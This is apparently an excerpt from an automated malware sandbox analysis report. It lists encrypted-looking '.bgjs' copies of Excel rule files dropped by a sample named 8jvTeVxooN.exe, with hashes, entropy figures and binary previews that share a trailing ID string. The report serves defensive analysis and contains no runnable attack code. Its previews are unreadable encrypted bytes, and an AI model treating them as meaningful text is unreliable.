Preview:	<?xml.....d8....Q.E.G../!.3)n~.l.l.K.A......`E..VE.D..i)@......W....B......X......?....?..!.....8...$...E.5E..8dj...fo..o.F..bE...P`..^.w.;F.JC.FI..'!....A.....P.u..H<.v...H.......P6K..a...}Iz.v.OF..i]E...t&.jo...h.u....zA..'7..........qa.afo.....V.[.&..4..&...[..BBb..nV...t;.../&>..1%'(..Pm..?.a...Zjr?.t....=.R.F?..$.......6.O;..nu........3@..y 0.v.<t.1.k..9.Y...z.....Y^.9.....E.Xq,..l.z.`.1...<J.=.b...%v.Oj.M%.P^...f..\.4y.W+.A.$K5..c..<.q.5V.R.]/...]P=)..R]q....k.O..R...d.]:..k...L.~,M.q..a...9CS......p(..'...._.?....-."..,r;9..Nz.@.m.q..pLl....#y.... g.V^....."]c..k.....QX..<2T.-:..>..xY..k..ti.b.G...>..\|..A.0z.2).svI....m./.ms..e..9...b)h....Bub.<.B.~...+.K$...&.v..D.Rj.Q..3.Lr..o]....-..%.9?E..+4.....H....o`.Z.H{f.v.....}...ZZ.&....IVD......@H....$/Y.s5...G.X...z#]rei.....1.....g.."...%..).]..H..../...p.....T..L{.}8)R.m..D.W{...;.G..DfUL(...e..H.OoX.......8.!..m..f..'....y....$..X.....&y...V^>.....}.... ...m..)x.X..\|=..1.JY.s.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.941762486051842
Encrypted:	false
SSDEEP:	48:pvhfrJkU6DouT/nasxZFgewXY74SulQxMHwDqVk/Ijyu5XG8d58g3bqlD:DfYDouTSsydSxMHP+/FuBG8XV3bqd
MD5:	75339B80C90DBB1B27529CF87A7E3CB2
SHA1:	DEEBF8716B64A5AE141BF16AE7F8CAE44077D5B3
SHA-256:	0AEABB7E0F80CA1E590E10998239497E3B7FD06C26F5D9328F03AAAF07AF16DC
SHA-512:	B14F394BA6BAC1CCB302B17F80E2D894E46BD2AEAAC8BC5C2C9704144DD858DB380F11548024B69161295D7C24AE74478443F39BAFAEDDDFF67021707DA43E65
Malicious:	false
Preview:	<?xml3.h..;...y.W..eW.....~.#f.....b$..6.>......6Ii.=.PF.89....-h....../..q:...\|.....s.J...~..}.gug.lT..&Lo.;..X0.........g62..]....a..Y(CC.....0.M+Y..2..F...4s..v...';_..].@lP.[....3E..qd}...P!.y.ESgJ..1...As4v..h.2;..NjV.+..u..Y....+..9.U....7..G/...i.....r...H...(Y..?..b..e........qi.j>...&..9..F....'<...s....U..W.?.p....Dj.\.u.H.....=I.Z.#et.........62.Oh.+Xf!A.Rt.(G^..B`......w<..K...f>d.......0.....W.yC...W....M.............4.#.wTU......@B.._6..Z..H.t.........C.Pb5w\.2V.'...a.47?..._f..$}...U<...l[...5....v...c..rSP.:Tw..OG(.S#.l.9U..}4G..F".~......v.3..w....8.s5[_s..<$.KB./....,...3U...6x .S.~4Aq...ddX.H...m.W..s....9..#~.B....Oa...O.K..3.f.........L18......f.q...&Z......1..-v.t..r8T.._...N#q..<..K..e8.....f.....\.~~Fl.3.\...J.s.ec.....\.5....F..Y..........;..D..&ftf/.....`.G9.P..M....O..../....R>.R..5e..h.....m.?..d....z@w..............sX>...}...#......?..W.[}@..&t..{.-.1...y. -..2.k.Vcs}..V....3'bF..].ih.z..gW....?F.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.903894803176638
Encrypted:	false
SSDEEP:	48:gU5hMT42bPLLFLuC+ll2ZnSFTVPE9p39bOnetOyyPAASdVwM9jaffaJjOYtW3Fe5:f5hMkGLLFiC+2UFxepNbOne8yyYASUMv
MD5:	5E21D0513A467731791E1462A7E55C59
SHA1:	7986FB904C97EFB0B9A9BB103369234C2488B263
SHA-256:	E6785C698363D0BFCDF531E16F4377ED43FC102B7E867E1F3DCBA0672D053501
SHA-512:	639E23ED39A75E75B3441F621B0C1B1907DE0410F1207A1A7A220A9E27DBC43DC83F4E7986BA59A90B9E27B3326A85D375DE7B3C027BB377C1D8FFFBAB6EE4C9
Malicious:	false
Preview:	<?xml..&.....o....9>.w .9.3o$..`......m..;^...._!....0.IG4.{.......Id.B..X.j./. ..i.......L...1.G....yeX..Kp..<a.q./b.VF.rq\|....%Z+.X.....X..V^5..%.7.8.n6o.1.=K...7.J.cZ...t.-.. ...BD}D..z...X.....@%+..j;...Ct..w.^%...z.6....%Q.....ce.]......3.KU?.l..H..Nc....c..K."...R.g..3,...-..p4.b$DjO... .c.._.:6ko[-K..... +..5Y..k.Db...n....&..+.ys-..@.=.-.@Y...N...7uDE...p...#}vE.s'..t..mJ%.-.. .=...d.....uK.....cx..n.N.&.$9.6.(X;F......w.U.o.DE..dK.kc.............B...(....F...F...Q..j ....)l..4..7....f,..O...bZ.J.g5.Cy.u.q...N.)....aI.....I...KWNh.c.....:..un....0dT..9>....26.....G..{s7....X....F.A..E._@4...X...H.L..SH-i.c8c3..?..q`....i.a+....MU.99....+.$./m..........J.B.(.A....#y...-9...^.[..Q.6.I...?...y....x.a..M_.i.....)3T...^..4[.c..V.Pn.;..<....@DCA .[..s@ 4C).........@.]]..+.h...o.9.S.O..."Q..A.J..e=.C..%...E.+..sPrQ;.$....d..b?.WGD....@/1,.....1H..m...H...y...].......+RZ3B.. ....J.9..c.E`.dP..VI.b*X.-{..+.vBvzB"!.....H.A...+..%.@.....6...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.661361042567578
Encrypted:	false
SSDEEP:	12:cAkeAf7zgXjpP55PMSIc5lGX8iUnfET+zKlmKXAxCOiGTg41eTCB1buOcii9a:AT/gXlPPfItX8iFT+zIZXAxE04TCB1KI
MD5:	529057C9BC1158E886886D35B03BBB96
SHA1:	1640A3C09DFD3298EA6397DCB441E5B162987D93
SHA-256:	40F91DECDF0CCAB95A4A608794C7C3D25FCF940530E1A3514AF5625888D8DCE9
SHA-512:	B3647CA926FB4B1C86A3F4C2E20C4F163C71262D33AD9F4A7FA47A66448CE9FE02170A9C9B185BEC14D5B6FB59C934E5CF467132A07D8E6F53F319AF24EB9A9A
Malicious:	false
Preview:	<?xmlad.`..6..Y}.v..s.$df..j..k..9.!2....K....>...u..q .k....&R..Y\|Q....R..u{ .u.c,..sA8..j...b .....B..[..uT._...'.G.-.3k......nC.7gm&...1\|..+.YE......S.g...h....-.0..k#h!yb~..Z...Z.....:..4.0..%...&_...Ptj....Cu5g.Cm7.Qr..{@..R.e.5..}.A...U.^.=.\.c.....&s..q.k.d.f&.1#N/X4...$2sk....zP..2..".(.}.....l..n..yIw....9....N....0..'....<@...L.........&....a.,..[ I..n....".._.......;...7U..4..6....../x........c.!....@P.........-..5@.!.....D.l..8..F.t..m....8......._]..t...5_...jeHKP,.....p5.bK13....euFI.2,...IW.......2.U....dE."....1..1{....U...#..Ci.$"..\..U.C.P..j..k8......9j`..1uXC.f..l........T:..;f....l..f.j.`.......jE8.b..5G.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.829656846785458
Encrypted:	false
SSDEEP:	24:lmYyPGnqJumkovcnPwbQAVjIh+PQeE4ciF8SCkK0QguYGIZObD:UPGn9VSQwIXetcidC07uYfOD
MD5:	6B0169CF535903A089998EB2BE4250DF
SHA1:	71FB34BD7E79B9D69ED76E11F0EEE3CCC466C945
SHA-256:	713FBE7528261B3A3681A14B4FA6A56FEBE427729DC48594A51EC1699C1ADFE3
SHA-512:	66FD5FE7CC24E597607BA956454FA77CCE85D878BCF71E6CC13ABB37827186DA0548EC613E26CD564B2E385EEB6A043802822CCF847F80EFABA929254941447D
Malicious:	false
Preview:	<?xmlt.cv%.,..........H....,.lB.]/.....8r.m.x...9.,..v-z.{/Y.....&...t\~...B.k..]?.EP..TA.E2...z.\...$..8F.....!-....XB...N...Q....U.9..e......{.DF.6.^........j....t..Kx..3.....3...=..L>?....+N...U...%..+.7......o`o.....k'K.....D(q..-c..}M....o.Pk...g....s.hQ..{rI.@..J....f..`4..%G..[...r..W..m..G..$r.v1..Pm.\.$"..........xpT..@..ZS.........._...k..sB.=p._..WA..&(...N8S`._...q.]../.:..R.I..]..Vs.-.+np...e._@.1.$......e..@.h....p..; ...BW(ab.#7~.\. .el..A...b..O..d..2.C ....).V`.t8......PS.....zg..H@.....f2.:S.lF..j.8j7Q..k..f.oP.2{.....G"...z...Y....z..b./.^Sh...q..Z]....K...T.K..?...p.`k@x.A/..)^.?..U..C..u....,7..N...v.G....y[.....(..Z..y.gI&.=.dn"..g.L..C[.%O......p..qG.}....t.M..`u.#M..A,.Z.......)...m.y..j,qN..J.)...2..y........a..a......$....8k.mk.\|\|..'o..H.<2....X..F..8.<u..n...p.)...uk..#..6..WI........J..2...rV....'.tYzpf..u.'B.'..h...M..x.1.-............f.......*{.......c~...S...d.q...0....~s....p....F..E.^o@.u{....E.DM\fS.~oW.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.525343121199071
Encrypted:	false
SSDEEP:	12:sWfX2mf1mchhCJCtwA4Thhs6noF9uOwl0ENdNk7mRwZ+uOcii9a:ser9mchhGCmA4ThdoF9El8/7ObD
MD5:	10F387E31F546F9C14253E3FA98442CE
SHA1:	3CA80454C14E9C9436F88E5AAABF88A4AEFE56AB
SHA-256:	F027D51A5F2CD6AD33D0DAE5C9E3D0D500629C2C57CA10AD25B918EBDA246AD9
SHA-512:	48D860AEDFA872FA2C8F3740C29AC3C26C2C99755E3F43E8D49851619B34F8FF76D4052644334E378C089F987D9886A0E41831701A3452BF791B8DE67299FD9F
Malicious:	false
Preview:	<?xml:...vQ%....Ea.3..../I^....b..S.g.)...;.......w......A.EKe#...u.2..5i....i.[...2.1..yY..d..../..{.U..n.N.N"nG.T.z...AP.-.....q..a..@4.9N.v....Q...23)....y.:u.K=6T..........9.......~.e...........y`.%.1D<..#.fb.B..>6.FX.........p...%....K..@.....yH...p.N,.m...@..,.........7=.d_})...t.X....g..a...~..(.W.o...s..a.Xm....fhCs......BR.U..@....br.o@5.K..Z.M}"e eG5.n..:1...../..N%3..":r#...b' .~./......a$.%..x@..X.. ..`}\|....Pz..B..8#...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.921347082794552
Encrypted:	false
SSDEEP:	48:Kny4bBXmKZBjoSn5naUuQmGXZES9dcNg1fgEnZzC6R+xwXRt/OD:rozUmnaUaGXaycNifXZz/RmGZ2
MD5:	564464B5ECD9ABF6961A8D98A48680AD
SHA1:	C86C962F8F64BE4A6B125BCFF54893B73B3FB792
SHA-256:	44EEA6EB7B71A2AFE11639D49C0468548E40A164DD8AA5BDD09DAC962AAE9EB7
SHA-512:	F1FD1E8B208C1CFE7F7A25DCFF0386E6C5124A10AB24C60963AC4F749369053B5F6D4691561CF44D2CBCB306122DC82F99D62FF4AA98FABAC8465D8E4652A484
Malicious:	false
Preview:	<?xmlQ../.0.(........K..E....0k..g}.Ba.}JCW............U.\|......C..+{....#....#]....@.V.i.d.Z?T`d.....b.Fu#".......{..J.Pab....c.7i...,...wD..;{a\|.lu.].......K..e..o.$..RQWT..[hWV....$1b.B1n.R...D.......c.^'.;...ag.$Qk.c..C.6'.m..ah6...t.V..........D+.]y.F.!...&.;h.tc%IA.a..Mr7.61..y.U.,:..BG...k4#1...s.J.?....?.x.~}E..-.....v.".+......f.o..8..S...Ci{.`,.!f2eX.. %F....;.U.\=..r..q.SQ.2..z.j.......bm..0.x.].z)'.)W.>46o.\.}.M9rH..t.1..c.U.....\....2......\Z..8A...A.....l...$"7.....esu.IN.+E.X.G.....Ux..i...\]bW....a..o..F...../.i..0..h8m.^...C:.:...zp..k.Q...P..Bn\]r..1.=.j..\L..y..R.Q4...../...{.$...F...I.%.B:-...X...x..$4\..../..r>@)...E.E..C..@.._z...Z%...2.....f...eG@.b$.....3f../...f.a-...&Z.S..v.I.~BX..*Z."..\|...........8...,....!^...~....<.....B.%B..:......<...D..D...I....o...<.QN..7!..W..$jX.'....J..'.c.WA.rB+.....'I6t.Y}#.s.PBz.<...9...n......9.D......h.9.....hkJ..-......E.,.a......z..z..9..C.....%..\|.....o.(.v......M.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.655280248136644
Encrypted:	false
SSDEEP:	12:Fm2hJVG2jzxE6EOlzyfLSkEwlDHCLrgl6biLKtNXtuPpIRf8VtqmuOcii9a:FJzG2PSYU2cDHCLUAbiWXtuxMf8cObD
MD5:	1C5E042AEEFCE32B66A9651F46FFAA0B
SHA1:	966DFBEB30AAA059EF698EAA01A90F1B6214AC92
SHA-256:	B9AC60E58DCB5CFABE643E1A9E28875B9D960699347E8FD3EC44BB185691BEDB
SHA-512:	B32A92E11BEF2261830AB555420F976D6498BEA3E8D05C84FE2D8D0618787ECF57E2D0DB4F3F98BB2586A5FD480BE8ACF53E2E49E5E7520E85B4D1980A46F40C
Malicious:	false
Preview:	<?xmlf....8dzm&......=.....8......E....b@...U..!.j.......8.EbnOj......yp....ru.V..c}.-.N.Q.B6....$T.M...Z.@.\|...+.r.... 0......Y..w^G).....%....a..?...l.}.".9]Bf.r...D..L..8?,..y.R.x.e...yw.....oRIYe.p.HvCJW./i...3.JVR# .h7.r1...6=.r..4A....H.a$^-!.M.Ie]...1.B.q.Y-6.x.E5...W..N>c........#.G6-.u..P.!{`tr.!.t......N.,...u..W...gi.ef$.YO....l.E..P.\..J..s.sF.d...Z.M.l..J^-...n...@W#..A.9U4......=..M...C....>..y..e%.....[...4M.),.F.f...j.cKO!P.{.n..e...l.q......WR..;2.p;m[1...knRS@].7..v8..S&.J'?Y..'.a.# ..=i....!0A(.d.,.k..w.P...M.,=.[l.....X..O*%}.su..;Y.....N.;a22.d.U#0.H..!.x.).[C.I.Y.!jE..u..b...S....5.=.w2\.............@...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7124592002957515
Encrypted:	false
SSDEEP:	24:j44CKbnA5aBRFod1A9WDkxJyTzz4QCm4GEhaObD:lbnVLiXwWAHGCiErD
MD5:	3E80FA51EC83997EF929FA03CBD01696
SHA1:	FE2EAFF526800FE616BDCC45F3DC62581492C18A
SHA-256:	5291837049EC4F021A83C7AFDCD0F965A4A239D0742CBC5BB3AE88ADD40B5D11
SHA-512:	646284704FEF0DE81DCAC3FF15C49AE61083D71346870C255AC9D3BD7A311A5CCA505816A59AF341E75E7B1D406690E4AE11CD17DB4F1E292156681DFAE7019B
Malicious:	false
Preview:	<?xmlJ.L 8./_..z..$..P9#........Y$.....)...'9...~.....Dk...Y3[S .G'(9y....!e[`...<~.zk..Y..%/.....\|]..g..a.x@....V-.R....D.l....:...Z...w2..m. k...j......@...'m.@......v.,..<.;.N>..~.....bi.`..#.Wa.?..Yr.U.d....C..\|(.]oB..WK"....C...6:.4.C.ifHw.....^.L.zp.....H...6..1N...m..bx.@0.M....E6.i...y...Uu....O9..b....".%....<W...%...o.."2.......J....i..Y_6..m.b:#`.`[..x......X../.A\....."S;1....'7xsR..Mp1.....g....3..-.9M..Q.h.O........p.[.K.&.<%$#Y...'..`..y....h.p....C5:.~....^...@.I[.}..g.[d.r..6.U]....@....m..O)._&.7..`#.8.._.......z;.if?...C.:..AO.z)#.]...7...V...2..F..........b;..... 1/.8..^.[W!..4...\|.oI.,.Tu.h.......NK...c./g.o..U.!.a..\|..Hq........L"l...gC15.AR.../.;s..FN.%....(.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.709202899398207
Encrypted:	false
SSDEEP:	12:4oUNNBkM4IghPShmJH0cDZBQZ4kBAOFoExCPh1ZUvC3ECnlM3CIckBUU/uOcii9a:4oU+M4IAPooH0ccBAOFozZUvC3flM3C0
MD5:	C0A30158C9A9C199F5FC764BECBF0B6A
SHA1:	7131B910ECE60654D1FD558B12DFDF229EA3AA11
SHA-256:	319F76A9B546EB1AF275CE69B2362F089DEB4AB773E33BBDDE8EF313A13A56D3
SHA-512:	251F4A8011490E022A25EABFFC104CCA3F1943008E48B8720518039619892B0C538BA0E432DD1469370936ECDBA7230F91003ACF5C67455FDD5C6BDDBD8E0D94
Malicious:	false
Preview:	<?xml.w.i...K_......x.w....@.m.q.61xLw.X.-pd..XA.OM..F[....O>.+.%..w.c....e.=.%S,J...9........Z.?..P...:...:.T.Fg..'\..Yk.h......(....w...+.Z......n.l...`.....W.VR..i.f.7z...b.....m.8...#.....y.#Uw%a...wq..s-S..{$C....".,\...."S....{.&....t.....F..q....Qz.....}......](.i..j1..Z....w.%....Q...u.F.7..z.$....'D.L....%.....6d.f...Q.)..-.....(B../...9.I....;.T..J...o...S&..&.[6.%..r.Z.....)...b\....}...:t.\f[.U..!.....B6+.._.[U.'7..I..B..CDu....l...q.....X...6.rt..i......=.0.s.5 ...x.%.U....b<....l.?..L.`@.pV.pP...o+.[U-...=.._A.......R....#.SDG..B...lI.s............h....od..u...\|.Y....e.....{Ah...g+.0.X..LPt..[...R...?...hi..uZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.734002125953355
Encrypted:	false
SSDEEP:	24:ux95BbYPEqBmZ6ziWTwKtsF+E42KnmOrzqRAObD:ud18oWTwKCMJmOaJD
MD5:	32EF37D98C44DEB16F035911B3B6C71C
SHA1:	11E72634D71DE999A1E136CAE6A0C752CF6A8946
SHA-256:	BEE55404913A157FBEE302847D6DA2470177C711A9E8A88EB7207E0EC8CA9A09
SHA-512:	F6CA88C81B1756589870DD260BC77B5702AA0BB2FA4412A50D94DF1170A0EF050659D00AA1E786AE7E9A4B2EA2046A699AEF62637C508EE4C613D8A5A7C1EDE1
Malicious:	false
Preview:	<?xmlY....]]b..1.....z......;...D....X]<}.........:>....L..._;..........1e...hB.q...0e.#.r7...2@..Y6bw..J6d..H...x/..<8._.#...}.L.L.d9M..s....#o.+.......%..M.'....&.i.F.2b.....a..6..)...k.*.18.].ARP.A.F..._.SV..=m..)5<...)I.7...b\|...N...v.'.CB....F...'..w..>.t,{:`..u....Qe........X....[..cu>7..b.g...=B..,2..e[..]...(Z..).R..{8.z....p.....lh....j....f.^...Q..3..-.......5.....Xg....v.d`.0..RC.....I....oVM$~.H......(.M.4n..c%KH...._S...Uk.9D....h..!.Tb.S.w..#.&Z.............;..In......+...f.)t.r"tn./..A....=U.F.d/.R..2(b.x8...!&..&..F.k:..7 R..a..F8......Au...8....x~.F.......1.5....m...\.S..Y..~...a...J..J.:/(=...C......(...O.........75{...C..l..h......UJ...t."..8.8..H.d......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.8055411770757015
Encrypted:	false
SSDEEP:	24:7syAxpSSh72fHTb7aeVOkXoQE6DDD7Pu4jauJtzmFA5o+p8imyXObD:7syAxgSd2vT/aekkXoQESDDy0Cmolimd
MD5:	EA05D61B050267FF9AC634276978261E
SHA1:	344735E48525282EDB5EE79F1C3E6BB38DAB7851
SHA-256:	252A1F7A07F0BBA954954CC5A46642A376DF67D0CEC74BA75A373728F1406AC5
SHA-512:	BD9BF0DEAE18CF1BB2EEA9F3F4325EFC3990A82A97223DCC89197F35EC63FB65A3953A2A16A88930D004ACC824C76D1A04B16BE68224998C321FACCBEE0DAD4A
Malicious:	false
Preview:	<?xml?4...MI...gJ....0.1....b._3.ax.N...q..N...........$....W......./..p.......t.p.........S.J>./"M.)......6..Yp......Jk.-..x.P..(h.A..e...Bwf(x.p..c.#../.p....?iL?.G...i...I..^.u ...A8.kE.....;._`L".&V.E...G......!s..e......V%....S....... .... ...*...m...._.[......8..n.%7..F.....Btc...^.2r....s..S..ck.k..-RF....,r%5.}...]...._U.....CW...........!..K.qU..(l...{.....+.q-..#...}l..8..:.../~@..N- .0..g.5.........0....).n?.8.2^./........g..s....1f..>...F...J..'..`u..B.[....X@..h.l....=R ,...+....2...?......778..K.C....h.Pf.<e. ....Z...]......aofa..M..i.{....(qq....?.2.v.Gr....4.s..wT..t.6.t.\$6y..t.p...n.d..Q.t!._-7.%..?..V.y{xbK..H.j.....{...).iV...C.xa....p...4.R- ..M..ce.+........y>....v.x............z4.K.jaW..:e..'..+G$...b..=..vh....C......sX"..6r..:5........ .,..z.0H..-.5>...Q.-vi.;R...T......T........<-JL.......-Xr....]G"F....D7..I.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.731023143354772
Encrypted:	false
SSDEEP:	24:+UroegyWn27rKqlTtY4upACrrN1qwI9q6RObD:+tegJMPtLC35IoND
MD5:	7215DD2BEB717FB6C34BE9790F70BF8B
SHA1:	35109E56153F6D2F6E58C95A69D92BA4B9A0178B
SHA-256:	70FDC1A4C9E4058961DF34DD10519CE9B46A7E81F80026FB71A248FBAAD86355
SHA-512:	B3D638A469F19988690DECB6445518A3E84160AAE56C045FD61400B650E70E56006B902DB0C3F02EDBB01A9BC5202D6664352746DA90FA4B97757AA3D924A88E
Malicious:	false
Preview:	<?xml.Co.U6L^....;..wmf.WS..w`.."G...e.#..'...[X..C..3(,S....lx....i....{.U'2..t... +.3.h.#.0.i.dY..F...o+..8.!..F..fy...^..F&.v..>.=q..,J....B:..$VA..Q.7f5..../.....+k..._.l.....E.. ..O1..._...;.=Y..+. .m x..zZ.[.+.....x...XO...IW..Ca0/t.....jWh.[;.]^E.....3....]D..PX$$..g..K.u.]@....~&.hAN.yA.i..BT`.W.....Y.#..=.K..j......?..K...S.!..n)..[...;./..y......yB.$2t.]...o.(..!..M.D....v.j.<.\|...eG.:$.!O%.....,..n,..3..sGK.....E.41...n........d.p...pf.wi6#..l...l.Rm.......I...$@....[..U4.0.=.F.v.;....G.'....C...".06.18q.E....O. D...e.....S...3$.8..Hu.8...y,..N.0.S..T;2Fi...L.u..i\|.C...MD.}.V..s...S..P.,..^.Sahx.&f..T.3.Hu..$....q...p....}Onri.N+(.)...NQ`.8..6.oa.z.0.r`b...(.<. k.O/%0..N.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.709961240483175
Encrypted:	false
SSDEEP:	12:pCFNU/ZhelfF3FRR0QUqqt78Ag4cazXfr9Ouv9wu/exV3blcq0+QtbGuOcii9a:pCFNU/bgfF3OwAQGPr9/9lWjrlc7ObD
MD5:	1557076700AA556944C2A07105073A73
SHA1:	FE86FE667258DC4548953625828FF833E5A6EDA1
SHA-256:	C82ECA76D1C605BAF11D6641A8A39A21F26D80700D700E1547A60A2AA1826134
SHA-512:	1D27ACC1C9BAA4C60FB6DF2CE4807679725C22B224F950FC9BD6B7F7159F356149066EEF1078CBE1BD0456F92FC5214D304D5E6A0DAACDFC9CE025FEE9CC6FA9
Malicious:	false
Preview:	<?xml..8...n,i.k:i..r...90.......a.j1.m.......U8.h\|...R...=mj..p..ez...N$.......,C.w.k...z.{....8.y....m..l..wP...ao4".D .g..e1l.(5..O.Ie.+..xf.GMZ.n<'.tM....N.`..b..z.l`.<C.y......q@..x..9d..udt.`W3.a..BQ.Z..Q..D.<{.&.5....v.a]C..w...jq....!.>x....fvY....'...bw,.y./......@..Ax..C .....P$..f.-..._"..y5..Ya:...K.c.._..n..7....).>F.V......E...Nu...Zx..m/;.'..+..'.._.7I...9.....%p6~u.4.....\..$.....u..$;....)...iB[.t.K<.. .D..........Y..s.u.^,...z..-.J.`@.$....4<8.?.....:....@.....w>...o..5s.p.zI.{..i.@i.......1@.e.UC......9u.H......<\x@9...(,i...7..?.;Ffv........k....s_V..y.p...._...\|....F'.Y...\|i.....f8.....Y.....?..I.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.728263562868305
Encrypted:	false
SSDEEP:	12:s/YkaLxfTbDnnj5ANH3A17N+khZouf0Eo+jkSaL1sSdeBaGWXMzKnv/xmuOcii9a:YYkaLxfTbLtANH3A1VhZMEpjxzSxjObD
MD5:	26DB29DE52B6768064E86B999CA3726F
SHA1:	302B4EFA44BD926B8BC2CE392006D161F320EBD1
SHA-256:	B2E83EE20CCDF7D256D213BEAE2B66B76716E36CFBEB1B138DBF046E71F8AFB7
SHA-512:	A6AD3A06F0D4B50D525851FFDBD218521E05B907DE788B4E0F28D0DFB459B9B4B44F5E911940896EACD681D41B121AA81613FE99150AA964EF3F239F5F4CCDFA
Malicious:	false
Preview:	<?xml..".D..n..#.\..'O..~...M..g.....v..~D.......T.P..w...4...sy.#R.'H..P\./.<...2.ZE..4,'.(.....Y.k9.g.3..?.....TN.U-.4-6z.TW}7..VD.?.....s.%...5...<.NRsi..(..j+9..Y,.g.\..Z.....KI.(S4-..q...P]b.Z.\|8$...Z..h..3cZ..~.....QT.`..Q....Ej..u..iJ...]~.wS...[.+0H..q......^)..8.D...`O...,.r011.e2.?6.t.m..r.....}.;......c...\|.....Sq..7y..R....F....Wa]v..".O?.../v..K-... .......]..r..oZ..%z..0}...j...@{.\..\..$.#.B.5!.......6t..G:L..my..E..l....-...QG.]wC...s...J.....r.A.,.T1.(..Mj...@..`..<.m..Q.:.5{..M...eAw!..\ ^\|.}..6%.Ir=...i>0....:..P..M&o....8.....B.O.`.k.#.5..n..n.......z.Z".....=.....Z.....4G.D..l..j..X.4.2da...r%.v.b.....A.\|."p.x({. _..BD...JL.....6Yi..d.w-.....&8..7..3...T...G......1d.p.fZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.700250399368189
Encrypted:	false
SSDEEP:	12:bR6PsibP+oYmbJcv8CPsXop/z7ie2aVfoMIFYBl7A0VEwCw1btrYO8qE6h4k2zy5:9asijYmOvCo56e9uVGXA0VeWYgrTGObD
MD5:	AB84B7FDE1DFD0640ED64211B2830D7C
SHA1:	06E299E05C6E7AAB017D15338D877729E2E1C643
SHA-256:	A8AAF8969DD70F99DAB31F596C1437458DFC2506B736866AEEB2AEBA38FB836C
